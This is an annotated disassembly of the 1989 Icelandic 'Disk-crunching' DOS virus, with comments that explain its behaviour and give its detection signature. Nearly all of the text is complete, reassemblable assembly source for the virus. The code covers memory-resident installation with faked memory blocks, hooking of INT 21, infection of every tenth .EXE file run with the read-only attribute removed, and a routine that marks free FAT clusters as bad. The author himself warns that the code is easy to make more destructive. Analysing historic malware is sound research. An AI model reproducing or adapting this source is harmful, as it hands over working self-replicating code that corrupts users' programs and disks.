; THE ICELANDIC "DISK-CRUNCHING" VIRUS ; ; Another possible name for this virus might be "One-in-ten", since ; it tries to infect every tenth program run. The Icelandic name for ; this virus ("Diskaetuvirus") translates to "Disk-eating virus" ; ; It was first located at one site in mid-June '89. It has since then ; been found at a few other places, but is quite rare yet. So far it ; does not seem to have spread to any other country. ; ; Disassembly done in June/July '89. ; ; The author of this program is unknown, but it appears to be of ; Icelandic origin. ; ; All comments in this file were added by Fridrik Skulason, ; University of Iceland/Computing Services. ; ; INTERNET: frisk@rhi.hi.is ; UUCP: ...mcvax!hafro!rhi!frisk ; BIX: FRISK ; ; To anyone who obtains this file - please be careful with it, I ; would not like to see this virus be distributed too much. The code ; is very clear, and the virus is quite well written. It would be VERY ; easy to modify it to do something really harmful. ; ; A short description of the virus: ; ; It only infects .EXE files. Infected files grow by 656 to 671 ; bytes, and the length of the infected file MOD 16 will always be 0. ; The virus attaches itself to the end of the programs it infects. ; ; When an infected file is run, the virus copies itself to top of ; free memory, and modifies the memory blocks, in order to hide from ; memory mapping programs. Some programs may overwrite this area, ; causing the computer to crash. ; ; The virus does nothing if some other program has hooked INT 13 ; before it is run. This is probably done to avoid detection by ; protection programs, but it also means that many ordinary ; programs like SideKick and disk cache software will disable it. ; Even the PRINT command will disable the virus. This reduces the ; spread of the virus, but also greatly reduces the possibility that ; the virus will be detected. ; ; The virus will hook INT 21H and when function 4B (EXEC) is called ; it sometimes will infect the program being run. It will check every ; tenth program that is run for infection, and if it is not already ; infected, it will be. ; ; The virus will remove the Read-Only attribute before trying to ; infect programs. ; ; Infected files can be easily recognized, since they always end in ; 4418,5F19. ; ; To check for system infection, a byte at 0:37F is used - if it ; contains FF the virus is installed in memory. ; ; This virus is slightly harmful, but does no serious damage. ; On floppy-only, or machines with 10Mbyte hard disks it will do ; no damage at all, but on machines with larger hard disks it will ; select one unused entry in the FAT table, and mark it as bad, when it ; infects a file. Since the virus only modifies the first copy of the ; FAT, a quick fix is simply to copy the second table over the first. ; This is the only "mistake" I have found in this virus. It appears ; to be very well written - What a shame the programmer did not use ; his abilities for something more constructive. ; ; This file was created in the following way: I wrote a small program, ; that did nothing but write "Hello world!" and ran it several times, ; until it became infected. I then diassembled the program, changed ; it into an .ASM file, and worked on it until this file, when ; assembled, produced the same file as the original infected one. ; ; (Or almost the same - the checksum in the header is different). ; VIRSIZ EQU 128 ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING ; ; This is the original program. ; _TEXT1 SEGMENT PARA PUBLIC 'CODE' _START DB 0b4H,09H PUSH CS POP DS MOV DX,OFFSET STRING INT 21H MOV AX,4C00H INT 21H STRING DB "Hello world!",0dh,0ah,"$" _TEXT1 ENDS _TEXT SEGMENT PARA PUBLIC 'CODE' ; ; The virus is basically divided in three parts. ; ; 1. The main program - run when an infected program is run. ; It will check if the system is already infected, and if not ; it will install the virus. ; ; 2. The new INT 21 handler. It will look for EXEC calls, and ; (sometimes) infect the program being run. ; ; 3. The damage routine. It will select one unused cluster and mark it ; as bad. ; VIRUS PROC FAR ; ; This is a fake MCB ; DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0 ; ; The virus starts by pushing the original start address on the stack, ; so it can transfer control there when finished. ; LABIA: SUB SP,4 PUSH BP MOV BP,SP PUSH AX MOV AX,ES ; ; Put the the original CS on the stack. The ADD AX,data instruction ; is modified by the virus when it infects other programs. ; DB 05H ORG_CS DW 0010H MOV [BP+4],AX ; ; Put the the original IP on the stack. This MOV [BP+2],data instruction ; is modified by the virus when it infects other programs. ; DB 0C7H,46H,02H ORG_IP DW 0000H ; ; Save all registers that are modified. ; PUSH ES PUSH DS PUSH BX PUSH CX PUSH SI PUSH DI ; ; Check if already installed. Quit if so. ; XOR AX,AX MOV ES,AX CMP ES:[37FH],BYTE PTR 0FFH JNE L1 ; ; Restore all registers and return to the original program. ; EXIT: POP DI POP SI POP CX POP BX POP DS POP ES POP AX POP BP RET ; ; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some ; program is monitoring int 13, and quit. ; L1: MOV AX,ES:[4EH] CMP AX,0070H JE L2 CMP AX,0F000H JNE EXIT ; ; Set the installation flag, so infected programs run later will ; recognize the infection. ; L2: MOV ES:[37FH],BYTE PTR 0FFH ; ; The virus tries to hide from detection by modifying the memory block it ; uses, so it seems to be a block that belongs to the operating system. ; ; It looks rather weird, but it seems to work. ; MOV AH,52H INT 21H MOV AX,ES:[BX-2] MOV ES,AX ADD AX,ES:[0003] INC AX INC AX MOV CS:[0001],AX ; ; Next, the virus modifies the memory block of the infected program. ; It is made smaller, and no longer the last block. ; MOV BX,DS DEC BX MOV DS,BX MOV AL,'M' MOV DS:[0000],AL MOV AX,DS:[0003] SUB AX,VIRSIZ MOV DS:[0003],AX ADD BX,AX INC BX ; ; Then the virus moves itself to the new block. For some reason 2000 ; bytes are transferred, when 651 would be enough. Maybe the author just ; wanted to leave room for future expansions. ; MOV ES,BX XOR SI,SI XOR DI,DI PUSH CS POP DS MOV CX,2000 CLD REP MOVSB ; ; The virus then transfers control to the new copy of itself. ; PUSH ES MOV AX,OFFSET L3 PUSH AX RET ; ; The main program modifies INT 21 next and finally returns to the ; original program. The original INT 21 vector is stored inside the ; program so a JMP [OLD INT21] instruction can be used. ; L3: XOR AX,AX MOV ES,AX MOV AX,ES:[0084H] MOV CS:[OLD21],AX MOV AX,ES:[0086H] MOV CS:[OLD21+2],AX MOV AX,CS MOV ES:[0086H],AX MOV AX,OFFSET NEW21 MOV ES:[0084H],AX JMP EXIT VIRUS ENDP ; ; This is the INT 21 replacement. It only does something in the case ; of an EXEC call. ; NEW21 PROC FAR CMP AH,4BH JE L5 L4: DB 0EAH OLD21 DW 0,0 ; ; Only attack every tenth program run. ; L5: DEC CS:[COUNTER] JNE L4 MOV CS:[COUNTER],10 ; ; Save all affected registers. ; PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DS ; ; Search for the file name extension ... ; MOV BX,DX L6: INC BX CMP BYTE PTR [BX],'.' JE L8 CMP BYTE PTR [BX],0 JNE L6 ; ; ... and quit unless it starts with "EX". ; L7: POP DS POP SI POP DX POP CX POP BX POP AX JMP L4 L8: INC BX CMP WORD PTR [BX],5845H JNE L7 ; ; When an .EXE file is found, the virus starts by turning off ; the read-only attribute. The read-only attribute is not restored ; when the file has been infected. ; MOV AX,4300H ; Get attribute INT 21H JC L7 MOV AX,4301H ; Set attribute AND CX,0FEH INT 21H JC L7 ; ; Next, the file is examined to see if it is already infected. ; The signature (4418 5F19) is stored in the last two words. ; MOV AX,3D02H ; Open / write access INT 21H JC L7 MOV BX,AX ; file handle in BX PUSH CS ; now DS is no longer needed POP DS ; ; The header of the file is read in at [ID+8]. The virus then ; modifies itself, according to the information stored in the ; header. (The original CS and IP addressed are stored). ; MOV DX,OFFSET ID+8 MOV CX,1CH MOV AH,3FH INT 21H JC L9 MOV AX,DS:ID[1CH] MOV DS:[ORG_IP],AX MOV AX,DS:ID[1EH] ADD AX,10H MOV DS:[ORG_CS],AX ; ; Next the read/write pointer is moved to the end of the file-4, ; and the last 4 bytes read. They are compared to the signature, ; and if equal nothing happens. ; MOV AX,4202H MOV CX,-1 MOV DX,-4 INT 21H JC L9 ADD AX,4 MOV DS:[LEN_LO],AX JNC L8A INC DX L8A: MOV DS:[LEN_HI],DX MOV AH,3FH MOV CX,4 MOV DX,OFFSET ID+4 INT 21H JNC L11 L9: MOV AH,3EH INT 21H L10: JMP L7 ; ; Compare to 4418,5F19 ; L11: MOV SI,OFFSET ID+4 MOV AX,[SI] CMP AX,4418H JNE L12 MOV AX,[SI+2] CMP AX,5F19H JE L9 ; ; The file is not infected, so the next thing the virus does is ; infecting it. First it is padded so the length becomes a multiple ; of 16 bytes. Tis is probably done so the virus code can start at a ; paragraph boundary. ; L12: MOV AX,DS:[LEN_LO] AND AX,0FH JZ L13 MOV CX,16 SUB CX,AX ADD DS:[LEN_LO],CX JNC L12A INC DS:[LEN_HI] L12A: MOV AH,40H INT 21H JC L9 ; ; Next the main body of the virus is written to the end. ; L13: XOR DX,DX MOV CX,OFFSET ID + 4 MOV AH,40H INT 21H JC L9 ; ; Next the .EXE file header is modified: ; ; First modify initial IP ; MOV AX,OFFSET LABIA MOV DS:ID[1CH],AX ; ; Modify starting CS = Virus CS. It is computed as: ; ; (Original length of file+padding)/16 - Start of load module ; MOV DX,DS:[LEN_HI] MOV AX,DS:[LEN_LO] SHR DX,1 RCR AX,1 SHR DX,1 RCR AX,1 SHR DX,1 RCR AX,1 SHR DX,1 RCR AX,1 SUB AX,DS:ID[10H] MOV DS:ID[1EH],AX ; ; Modify length mod 512 ; ADD DS:[LEN_LO],OFFSET ID+4 JNC L14 INC DS:[LEN_HI] L14: MOV AX,DS:[LEN_LO] AND AX,511 MOV DS:ID[0AH],AX ; ; Modify number of blocks used ; MOV DX,DS:[LEN_HI] MOV AX,DS:[LEN_LO] ADD AX,511 JNC L14A INC DX L14A: MOV AL,AH MOV AH,DL SHR AX,1 MOV DS:ID[0CH],AX ; ; Finally the modified header is written back to the start of the ; file. ; QQQ: MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H JC ENDIT MOV AH,40H MOV DX,OFFSET ID+8 MOV CX,1CH INT 21H JC ENDIT MOV AH,3EH INT 21H JNC DAMAGE ; ; Infection is finished - close the file and execute it ; ENDIT: JMP L9 NEW21 ENDP ; ; The damage routine. As before noted, it will only do damage on ; systems with a hard disk larger than 10Mbytes (With 16 bit FAT) ; TEMP DW 0 ; ; Start by getting some information about the current drive, like size ; of the FAT etc. Then compute the total number of sectors, and quit ; unless it is greater than 20740. This is probably done since larger ; disks use 16 bit FAT entries, instead of 12, which makes life easier ; for the programmer. ; DAMAGE: MOV AH,32H MOV DL,0 INT 21H CMP AL,0FFH JE L21 XOR AX,AX MOV AL,[BX+4] INC AX MOV CS:[TEMP],AX MOV AX,[BX+0DH] DEC AX MUL CS:[TEMP] ADD AX,[BX+0BH] JNC L15A INC DX L15A: CMP DX,0 JNE L15B CMP AX,20740 JBE L21 ; ; Check if DOS version is 4.0 or greater. If so, use a 16 bit value ; for numbers of sectors in the FAT, otherwise use a 8 bit entry. L15B: PUSH BX MOV AH,30H INT 21H POP BX CMP AL,4 JAE L15 XOR AX,AX MOV AL,[BX+0FH] JMP SHORT L16 L15: MOV AX,[BX+0FH] L16: ADD AX,[BX+6] DEC AX MOV DX,AX MOV AL,[BX] ; ; Read the last sector in the first copy of the FAT. Search backwards ; for an unused entry. If none is found, read the sector before that ; and so on. If no free entry is found on the entire disk then quit. ; L20: MOV CX,1 MOV BX,OFFSET ID+4 PUSH CS POP DS PUSH AX PUSH DX INT 25H POPF JC L21 POP DX POP AX MOV SI,510 L17: MOV BX,DS:[ID+4+SI] CMP BX,0000 JE L19 CMP SI,0000 JE L18 DEC SI DEC SI JMP L17 L18: DEC DX CMP DX,8 JE L21 JMP L20 ; ; A free entry has been found. Make it look like a bad cluster, by ; changing the 0000 value to FFF7. ; L19: MOV DS:[ID+4+SI],0FFF7H MOV CX,1 MOV BX,OFFSET ID+4 INT 26H POPF L21: JMP L7 COUNTER DB 10 LEN_LO DW ? LEN_HI DW ? ID DW 4418H,5F19H ; The signature of the virus. ; ; A buffer, used for data from the file. ; _TEXT ENDS END LABIA